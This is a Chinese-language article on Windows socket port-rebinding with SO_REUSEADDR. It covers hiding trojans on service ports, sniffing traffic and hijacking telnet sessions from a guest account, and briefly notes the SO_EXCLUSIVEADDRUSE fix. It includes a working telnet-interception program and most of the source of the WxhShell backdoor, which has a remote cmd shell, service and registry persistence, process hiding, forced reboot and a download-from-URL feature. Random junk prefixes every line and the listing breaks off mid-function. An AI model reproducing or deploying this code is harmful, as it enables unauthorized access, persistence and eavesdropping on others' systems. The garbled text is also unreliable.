在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
R!(ZMRMn s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
H#i{?RM@l !}f1`/ saddr.sin_family = AF_INET;
g13 rx%- 7j$Pt8$ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
#>[a{<;Kn q5x[~]? bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
WOLuw% |TsE-t*E} 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
GOT1@.Y +k\Uf*wh 这意味着什么?意味着可以进行如下的攻击:
}|\d+V2On G(iJi 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
q[3x2sR <eN_1NTH_ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
'sh~,+g o:S0* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
mYxyWB dq\FBwfe 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
6at1bQ$ NTo!'p:s 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
vb
Y3;+M> y [#pC<^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
=<}<Ny K+*Q@R D 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
6$U]9D m)v''`9LU #include
"_|oW n #include
dS2G}L^L #include
j;b42G~p #include
p;T{i._iL DWORD WINAPI ClientThread(LPVOID lpParam);
#[{3} %b int main()
N_eX/ux {
);V2?G`/ WORD wVersionRequested;
S! Rc|6y% DWORD ret;
{-3L IO WSADATA wsaData;
O7d$YB_' BOOL val;
cD*}..-/4 SOCKADDR_IN saddr;
lot%N(mB` SOCKADDR_IN scaddr;
Ub1hHA*) int err;
%`MQmXgM SOCKET s;
!RB)_7 SOCKET sc;
<"N_j]wD int caddsize;
IW=cym7 HANDLE mt;
{n#k,b&9B DWORD tid;
K6/@]y%Wr wVersionRequested = MAKEWORD( 2, 2 );
gr-9l0u err = WSAStartup( wVersionRequested, &wsaData );
FBx_c;)9Z if ( err != 0 ) {
o?L'Pg printf("error!WSAStartup failed!\n");
YB<*"HxM)} return -1;
; Uc0o!1 }
?eH&'m}- saddr.sin_family = AF_INET;
S$)*&46g >Y7a4~ufko //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
[.se|]t7X 5=Xy,hmnC saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
:Z`:nq.a saddr.sin_port = htons(23);
zgx&Pte if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
L`f^y;Y. {
K<?nq0- printf("error!socket failed!\n");
o#) {1<0vg return -1;
}En }
!+>v[(OzM val = TRUE;
qm/Q65>E //SO_REUSEADDR选项就是可以实现端口重绑定的
:NJ_n6E if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
pl@O
N"=[ {
,B?~-2cCz printf("error!setsockopt failed!\n");
)?+$x[f!* return -1;
vgY3L }
oSiMpQu08 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
|4$M]M f0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
E_Z{6&r //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
C~fjWz' V theZ]5_C if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ahx>q {
dS^T$sz.co ret=GetLastError();
Z^ }mp@j> printf("error!bind failed!\n");
infl. return -1;
)u))n# P }
s { #3r listen(s,2);
Uc/+gz
Z; while(1)
mc=LP>uoS {
DPi_O{W> caddsize = sizeof(scaddr);
U*90m~) //接受连接请求
J+rCxn?;g sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
R1Sy9x . if(sc!=INVALID_SOCKET)
HhO".GA {
hxce\OuU0h mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
%ZHP2j
%~ if(mt==NULL)
"KcA {
n>@oBG)! printf("Thread Creat Failed!\n");
W3`>8v1?o break;
zJe#m|Z }
f{SB1M }
)`^p%k CloseHandle(mt);
6'\6OsH }
%%(R@kh9 closesocket(s);
G\|,5HED WSACleanup();
s4&^D< return 0;
h -iJlm }
rG,5[/l DWORD WINAPI ClientThread(LPVOID lpParam)
3u%{dG a {
z-M3 SOCKET ss = (SOCKET)lpParam;
9x,RvWTb SOCKET sc;
>S$Z unsigned char buf[4096];
ss;R8:5 SOCKADDR_IN saddr;
8~5cJPi6 long num;
5 ae2<Y= DWORD val;
F~A 'X DWORD ret;
,{\Bze1fn //如果是隐藏端口应用的话,可以在此处加一些判断
t_mIOm)S% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'_|h6<.k[ saddr.sin_family = AF_INET;
XL7h} saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
[M+f-kl saddr.sin_port = htons(23);
aF03a-qw< if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
N0#JOu}~ {
[@yV!#2 printf("error!socket failed!\n");
v[Kxja; return -1;
g{5A4|_7 }
C8F 7bG8c val = 100;
sz9L8f2 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
3fN.bU9_ {
Z7 E ret = GetLastError();
^>"z@$|\: return -1;
9"g6C< }
R8.CC1Ix if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K~ ;45Z2 {
1S@vGq} ret = GetLastError();
JxyB( return -1;
q^6 +!&" }
5d Z |! if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
1sYEZO; {
m3o,@=b printf("error!socket connect failed!\n");
42]pYm(jk3 closesocket(sc);
;WldHaZ9r closesocket(ss);
&=4(l|wcg return -1;
LM2TZ }
RT%pDym\ while(1)
;sHN/eF {
{rcnM7 S1L //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
=y=cW1TG //如果是嗅探内容的话,可以再此处进行内容分析和记录
}NsUnbxT //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
4H@Wc^K num = recv(ss,buf,4096,0);
|HZTN" if(num>0)
pmX#E send(sc,buf,num,0);
9c JH" else if(num==0)
%vBhLaE break;
np~~mdmRK num = recv(sc,buf,4096,0);
MxBTX4ES if(num>0)
N/GQt\tV< send(ss,buf,num,0);
41fJ%f`
G else if(num==0)
~F1:N>>_Cf break;
j(~ *'&|( }
(%`QhH closesocket(ss);
k__$Q9qj( closesocket(sc);
L \;6y*K return 0 ;
7
[g/TB }
P6MRd/y | NKQOUw:qn hR.@b*q?R ==========================================================
^{8Gt@ ZY:[ekm%4Z 下边附上一个代码,,WXhSHELL
\e`~i@) ~Z )#LpCM,a ==========================================================
Un6/e/6, Xt#1Qs #include "stdafx.h"
H{t_xL)k. cHa]xmy%r' #include <stdio.h>
t=xOQ8 #include <string.h>
8/K!SpM*d #include <windows.h>
*28pRvY:b #include <winsock2.h>
Q:$Zy #include <winsvc.h>
$ Y 7c #include <urlmon.h>
IEyL];K &.Zb,r$Y #pragma comment (lib, "Ws2_32.lib")
>CkjUZu]& #pragma comment (lib, "urlmon.lib")
J!DF^fLe IJ/sX_k #define MAX_USER 100 // 最大客户端连接数
e${)w-R/e #define BUF_SOCK 200 // sock buffer
j^`hzh3S #define KEY_BUFF 255 // 输入 buffer
(!:cen~|[ )Z %T27r,^ #define REBOOT 0 // 重启
J/3_C6UZ #define SHUTDOWN 1 // 关机
'TAUE{{ Zy_V9j[n #define DEF_PORT 5000 // 监听端口
M?;y\vS?. }6 K^`! #define REG_LEN 16 // 注册表键长度
~@kU3ZGJZ #define SVC_LEN 80 // NT服务名长度
pAk/Qxl3eo D\e8,,H // 从dll定义API
iPrLwheb typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
a<fUI%_ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
8|$3OVS typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Ka,^OW}<%q typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
\o';"Q1H z,|{fKtY} // wxhshell配置信息
M'!U<Y
- struct WSCFG {
[b$4Shx int ws_port; // 监听端口
LzCw+@-umw char ws_passstr[REG_LEN]; // 口令
is/scv< int ws_autoins; // 安装标记, 1=yes 0=no
*OyHHq|>q char ws_regname[REG_LEN]; // 注册表键名
'ky b\q char ws_svcname[REG_LEN]; // 服务名
n6k9~ "? char ws_svcdisp[SVC_LEN]; // 服务显示名
h;j IYxj char ws_svcdesc[SVC_LEN]; // 服务描述信息
(#;`"Yu char ws_passmsg[SVC_LEN]; // 密码输入提示信息
"kc/J*u-3 int ws_downexe; // 下载执行标记, 1=yes 0=no
M|] "W char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Ka`=WeJ| char ws_filenam[SVC_LEN]; // 下载后保存的文件名
P bQk<"J1 PdVfO8- };
9+keX{/c v
36%Pj` // default Wxhshell configuration
(L`j0kPN struct WSCFG wscfg={DEF_PORT,
;m2<eS`o' "xuhuanlingzhe",
CSCN['x 1,
n>'Kp T9| "Wxhshell",
7-BvFEM; "Wxhshell",
RW P<B0) "WxhShell Service",
4WB-Ec "Wrsky Windows CmdShell Service",
AdWq Q "Please Input Your Password: ",
b
pv=% 1,
m:hY`[ f6 "
http://www.wrsky.com/wxhshell.exe",
~i.k$XGA "Wxhshell.exe"
$2%f 8& };
_$>pw< yOvm`9 // 消息定义模块
)+Oujt char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
U#1bp}y char *msg_ws_prompt="\n\r? for help\n\r#>";
_wdG|{px char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
3su78e t} char *msg_ws_ext="\n\rExit.";
x1ztfJd char *msg_ws_end="\n\rQuit.";
%r+vSGt;5 char *msg_ws_boot="\n\rReboot...";
|$7vI&m char *msg_ws_poff="\n\rShutdown...";
p7H3J?`w1+ char *msg_ws_down="\n\rSave to ";
5cWw7V<m Lq>&d,F06) char *msg_ws_err="\n\rErr!";
z.rh]Zq char *msg_ws_ok="\n\rOK!";
@ps1Dr4s F H1Z2 char ExeFile[MAX_PATH];
Q%-di= int nUser = 0;
R-:fd!3oQ HANDLE handles[MAX_USER];
lb:/EUd5 int OsIsNt;
]
7 _`]7p M,5"b+mX[~ SERVICE_STATUS serviceStatus;
sZLT<6_B SERVICE_STATUS_HANDLE hServiceStatusHandle;
v)_nWu i{I~mrm/'\ // 函数声明
VS&TA> int Install(void);
Sc7U|s int Uninstall(void);
4l&g6YneX int DownloadFile(char *sURL, SOCKET wsh);
`|Or{ih int Boot(int flag);
!!o8N<NU void HideProc(void);
mYU9
trHV int GetOsVer(void);
|]Qg7m,O int Wxhshell(SOCKET wsl);
{6oE0;2o' void TalkWithClient(void *cs);
FaBqj1O1 int CmdShell(SOCKET sock);
\RVW int StartFromService(void);
nbG/c80 int StartWxhshell(LPSTR lpCmdLine);
x}twsc` [V
8{b{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&x >B VOID WINAPI NTServiceHandler( DWORD fdwControl );
t5[[JD1V q:<{% U$ // 数据结构和表定义
N
D<HXO SERVICE_TABLE_ENTRY DispatchTable[] =
BIj=!! {
G/v/+oX {wscfg.ws_svcname, NTServiceMain},
B&N/$=5m {NULL, NULL}
hb{u'= };
G7=pBf W0=O+0$^ // 自我安装
!p1qJ [ int Install(void)
uw},`4` {
M4WiT<|]R char svExeFile[MAX_PATH];
m E^o-9/ HKEY key;
,hVvve,j} strcpy(svExeFile,ExeFile);
3<F </ )(7&X45,k // 如果是win9x系统,修改注册表设为自启动
!pJeA)W; if(!OsIsNt) {
*9p |HX= if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?<*-j4v RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
9 fMau RegCloseKey(key);
2!Bd2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
X";@T.ZGut RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
w}{5# RegCloseKey(key);
zm,@]!wI return 0;
"k Te2iS }
D3c2^r$Z }
f7I{WfZ\P }
5E0eyW else {
~y$ !48o !`mZ0c+ // 如果是NT以上系统,安装为系统服务
F]mgmYD% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
#oJ5k8Wy if (schSCManager!=0)
%AN/>\#p {
r&Ca"dI SC_HANDLE schService = CreateService
?X&6M;Zi (
W>b(Om_% schSCManager,
`HuCT6O wscfg.ws_svcname,
eyp,y2Tz wscfg.ws_svcdisp,
|7KeR- SERVICE_ALL_ACCESS,
x3rlJs`$; SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
8t=(,^c SERVICE_AUTO_START,
BA=,7 y&;j SERVICE_ERROR_NORMAL,
]m#5`zGK1| svExeFile,
e:AHVepj{ NULL,
{s3z"OV NULL,
CDi<<, NULL,
*UW=Mdt NULL,
"KJ%|pg_C NULL
?6!]Nl1gr );
=:SN1#G3n if (schService!=0)
\Ofw8=N-2 {
>*$; CloseServiceHandle(schService);
GjB]KA^ CloseServiceHandle(schSCManager);
*z'yk* strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
}CxvT`/ strcat(svExeFile,wscfg.ws_svcname);
OMk5{-8B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
0[<~?`:) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
>\w&6i~ RegCloseKey(key);
8_K60eXz return 0;
3DaQo0N }
=_]2&(? }
OUP?p@%]< CloseServiceHandle(schSCManager);
gGMWr.!
8 }
_W3Y\cs,- }
$W;b{H=F b6E<r>q return 1;
t\v+ogbk) }
1p'Le! +u'I0>)S // 自我卸载
p
h[\) int Uninstall(void)
!6}O.Nu {
L_em') HKEY key;
:D7|%KK oRp:B& if(!OsIsNt) {
TEsnN i
1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
D7"p}PD>~ RegDeleteValue(key,wscfg.ws_regname);
[i]r-|_K RegCloseKey(key);
k'_ P7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
$OVXk'cc RegDeleteValue(key,wscfg.ws_regname);
, %YBG1E[y RegCloseKey(key);
#%@MGrsK return 0;
u-"c0@ }
dGwszziuK }
]S 7^ITn }
nY $tp else {
^Y{D^\}, *V(Fn-6( SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
H6aM&r9} if (schSCManager!=0)
):EBgg4-N {
ESb
]}c: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
O3V.^_k; if (schService!=0)
D@X+{ {
/XS&d%y if(DeleteService(schService)!=0) {
/(t sb CloseServiceHandle(schService);
j<"nO( CloseServiceHandle(schSCManager);
KjB/.4lLq return 0;
~:_0CKa! }
YxJD _R CloseServiceHandle(schService);
_{~]/k }
`B8tmW# CloseServiceHandle(schSCManager);
nT#JOmv }
x|eeRf| }
5jq=_mHt @6o]chJo return 1;
SK$Vk[c] }
*R% wUi N_75-S7Cm // 从指定url下载文件
bl/,*Wx:4. int DownloadFile(char *sURL, SOCKET wsh)
T@^]i& {
N]5m(@h
HRESULT hr;
mCKk*5ws5" char seps[]= "/";
H;WY!X$x char *token;
8Z85D char *file;
=neL}Fav56 char myURL[MAX_PATH];
GJ'spgz char myFILE[MAX_PATH];
y|_Eu: OY"6J@[z strcpy(myURL,sURL);
p2x [p token=strtok(myURL,seps);
VF0dE while(token!=NULL)
6gOe!mm {
NBl
__q file=token;
O_K_f+7 token=strtok(NULL,seps);
\Btk;ivg }
[RU
NuO
oQ+61!5> GetCurrentDirectory(MAX_PATH,myFILE);
L4f7s7rJ strcat(myFILE, "\\");
Y@ F strcat(myFILE, file);
pw'wWZE' send(wsh,myFILE,strlen(myFILE),0);
YnV/M,U send(wsh,"...",3,0);
MEwdw3 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
|)_-Bi;MW` if(hr==S_OK)
:u%$0p> return 0;
ZI ?W5ISdg else
6ew "fCrH! return 1;
2H?d+6Pt3 %c^ m\E }
wX1ig fMK#x\.4 // 系统电源模块
H l j6$%. int Boot(int flag)
qX>Q+_^ {
#WE]`zd HANDLE hToken;
L*?!Z^k TOKEN_PRIVILEGES tkp;
EY>8O+ `{FwTZ=6{ if(OsIsNt) {
INMP"1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
,=[*Lo>O LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
$R{8z-,Q tkp.PrivilegeCount = 1;
g8pm2o@S tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
B94
&elu AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
dGgP_S if(flag==REBOOT) {
F}ukZ
DB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
J.M.L$ return 0;
[EHrIn }
evl-V> else {
YT2'!R
1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
sM\&.<B return 0;
lUh*?l }
]T{E
(9 }
]" x\=A else {
9]_GNk-D if(flag==REBOOT) {
|#5 e|z5( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
T<jfAE return 0;
Ae|P"^kZ }
DOL%'k ?B else {
Sw!
j=`O if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
& QZV q" return 0;
m =&j@ }
(N U0Tw }
M$CVQ>op: `"y{;PCt_ return 1;
>BqCkyM9Kf }
~-Oa8ww )}X5u%woV // win9x进程隐藏模块
gAE!aKy void HideProc(void)
kC^.4n
om {
StQ@g rH}fLu8,;Q HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
C%H9[%k if ( hKernel != NULL )
oK-!(1A- {
IbdM9qo7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Mz|L-62 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
6
nGY^ FreeLibrary(hKernel);
-gKpL\ }
h-'wV${b kP,7Li\ return;
:Z2tig nL }
YQ,tt<CQ By)3*<5a_ // 获取操作系统版本
]O@"\_} int GetOsVer(void)
+0#JnqH" {
Hql5oA OSVERSIONINFO winfo;
`facFt[\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
{fG|_+tl3o GetVersionEx(&winfo);
aV|k}H{wt if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Ku%6$C!, return 1;
|>sv8/! else
44C+h return 0;
Fd!iQ }
>rRf9wO1l H%.zXQ4}n // 客户端句柄模块
.98.G4J> int Wxhshell(SOCKET wsl)
ul}'{|4 {
q,,j',8kq/ SOCKET wsh;
(UW6F4:$ struct sockaddr_in client;
dF2@q@\.+ DWORD myID;
t.z$j T7GQ^WnA while(nUser<MAX_USER)
;nf&c;D {
Iu6W=A int nSize=sizeof(client);
+L6" vkz wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
rdI]\UH if(wsh==INVALID_SOCKET) return 1;
)<LI%dQ:'l +2O=s<fp handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
MuSaK % if(handles[nUser]==0)
#uWE2*') closesocket(wsh);
u`p_.n:5) else
1jOKcm'# nUser++;
/oDpgOn }
9qeZb%r& WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
"8t\MKt( J8h7e}n? return 0;
] piM/v\ }
.v7`$(T 6~:+:; // 关闭 socket
>x?2Fz. void CloseIt(SOCKET wsh)
,|x\MHd?t_ {
>r:X~XnRUj closesocket(wsh);
D%
@KRcp^b nUser--;
j1F w
U ExitThread(0);
4.k`[q8 }
y$h"ty{g A5+5J_)* // 客户端请求句柄
T/7vM 6u void TalkWithClient(void *cs)
!c_u-&b) {
iwkJ~(5z U 1F-~{r SOCKET wsh=(SOCKET)cs;
7%op zdS# char pwd[SVC_LEN];
#[,= 1Od(q char cmd[KEY_BUFF];
V(I7*_ZFl char chr[1];
=jG?v'X int i,j;
G:hU{S7 a],h<wGEx while (nUser < MAX_USER) {
d"!yD/RD _jDS" if(wscfg.ws_passstr) {
tWRf'n[+] if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%ph"PR/t? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7%tR&F -u //ZeroMemory(pwd,KEY_BUFF);
THr8o V5 i=0;
c'~[!,[b< while(i<SVC_LEN) {
]F_r6 *< :Fo4O'UC // 设置超时
Uir*%*4: fd_set FdRead;
?+Hp?i$1 struct timeval TimeOut;
Xvq^1Y? FD_ZERO(&FdRead);
Rd vn)K FD_SET(wsh,&FdRead);
Y'&8L'2Z[ TimeOut.tv_sec=8;
rkq)&l=ny TimeOut.tv_usec=0;
_2; ^v`[ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
$*i7?S@~- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
-+ko}He
}Qb';-+;d if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
;fkSrdj pwd
=chr[0]; 9IOGc}
if(chr[0]==0xd || chr[0]==0xa) { Wv NI=>
pwd=0; *78)2)=~
break; 7
{nl..`
} y-<$bA[K~
i++; uNg'h/^NZ|
} Vbo5`+NAis
])S$x{.g
// 如果是非法用户,关闭 socket [tOuNj:
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k~R{Y~W!!
} 'hy?jQ'|e
Y}K!`~n1S
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }!=gP.Zu^
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {Wa~}1`Kl
psu OJ-
while(1) { iT[oKD0)
jwq\stjD
ZeroMemory(cmd,KEY_BUFF); S$\.4*_H\
:TlAL#
s&
// 自动支持客户端 telnet标准 w)^\_uAlS
j=0; Jxn3$
while(j<KEY_BUFF) { }E,jR=@
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nr%(2[$ =
cmd[j]=chr[0]; 0 K/G&c?;=
if(chr[0]==0xa || chr[0]==0xd) { fqN75['n
cmd[j]=0; "I@v&(Am;
break; CJm.K
} z'T=]-
D
j++; keaj3#O
} ia_Z\q
p %L1uwLG
// 下载文件 .hc|t-7f
if(strstr(cmd,"http://")) { ?Q;kZmQl
send(wsh,msg_ws_down,strlen(msg_ws_down),0); f.J9) lfb
if(DownloadFile(cmd,wsh)) pFEZDf}:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \WiqN*ZF
else Q:pzL
"bT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &adY
} gA{'Q\
else { ka!Bmv)
C`3V=BB
switch(cmd[0]) { mF}c-
D
wZ$tJQO
// 帮助 :Jjw"}SfK#
case '?': { IX"ZS
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AvyQ4xim+
break; |PI)A`
} =l_rAj~I|
// 安装 Zd8drT'@#
case 'i': { -%>8.#~G
if(Install()) ob)Q,;8R
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q!YF!WoBX
else IF5sqv
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \QliHm!
break; El'yiJ
} Q,D0kS P
// 卸载 <{E;s)hD?
case 'r': { ;]{{)dst
if(Uninstall()) Wx}M1&d/J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F%9cS
:
else L{Q4=p,A
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pF|8OB%
break; Ze#Jhn@
} Ir!2^:]!
// 显示 wxhshell 所在路径 cES;bwQ
case 'p': { $pjf#P8U
char svExeFile[MAX_PATH]; ]{(l;k9=e
strcpy(svExeFile,"\n\r"); m dC`W&r
strcat(svExeFile,ExeFile); 09G9nu ;&{
send(wsh,svExeFile,strlen(svExeFile),0); XO 0>t{G
break; c[&d @
} V_Xy2<V
// 重启 w~4
z@/^"p
case 'b': { S|~i>
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yQ8M >H#J
if(Boot(REBOOT)) /X@7ju;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :-w@^mli
else { #m[vn^8B]y
closesocket(wsh); 4g>1Gqv6
ExitThread(0);
(L`l+t1
} ;0;3BH A
break; GXarUj s
} cT_uJbP+
// 关机 m~##q}LZ
case 'd': { v>rqOI
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *4-r`k|@>/
if(Boot(SHUTDOWN)) Ok*VQKyDLH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7X(rLd
6#
else { MhHr*!N"}
closesocket(wsh); P\,F1N_?r
ExitThread(0); v$[ @]`
} y=-{Q
break; Jz=;mrW
} =*{K@p_
// 获取shell N
=x]AC,
case 's': { BHF{-z
CmdShell(wsh); M_qP!+Y
closesocket(wsh); =>HIF#jU
ExitThread(0); o,g6JTh
break; issT{&T
} }/_('q@s\
// 退出 =ZCH1J5"
case 'x': { sVE>=0TVP
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z~duJsH
CloseIt(wsh); #x, ]D
break; 2ZU@>W
} _u#/u2<
// 离开 Qe7"Z
case 'q': { pZc9q8j3
send(wsh,msg_ws_end,strlen(msg_ws_end),0); R"m.&%n
closesocket(wsh); 7YMxr3F
WSACleanup(); 2.^7?ok
exit(1); qJsQb
break; 5JQd)[Im
} `K$:r4/[
} bq c;.4$
} /Lq;w'|I
Sja"(sJ
// 提示信息 J% :WLQo
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bk/.<Rt
} UeMnc 5y
} $.ymby
'}wG"0
return; vs5
D:cZ}
} xnl<<}4pJ
{;]uL`abi?
// shell模块句柄 hp?ad
int CmdShell(SOCKET sock) &i4
(s%z#
{ B$K7L'e+-
STARTUPINFO si; N5:D8oWWXR
ZeroMemory(&si,sizeof(si)); nvU+XCx
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /uy&2l
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @#bBs9@gv
PROCESS_INFORMATION ProcessInfo; 9`ri
J4zl
char cmdline[]="cmd"; wk-Mu\
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
Nb#H@zm
return 0; {Uik|
} 9)G:::8u7
,$hQ(yF
// 自身启动模式 SlH7-"Ag
int StartFromService(void) G/x3wR
{ ?9o#%?6k
typedef struct 2&^,IIp
{ hXV4$Dai
DWORD ExitStatus; /V#MLPA
DWORD PebBaseAddress; &M!4]pow
DWORD AffinityMask; )OARO
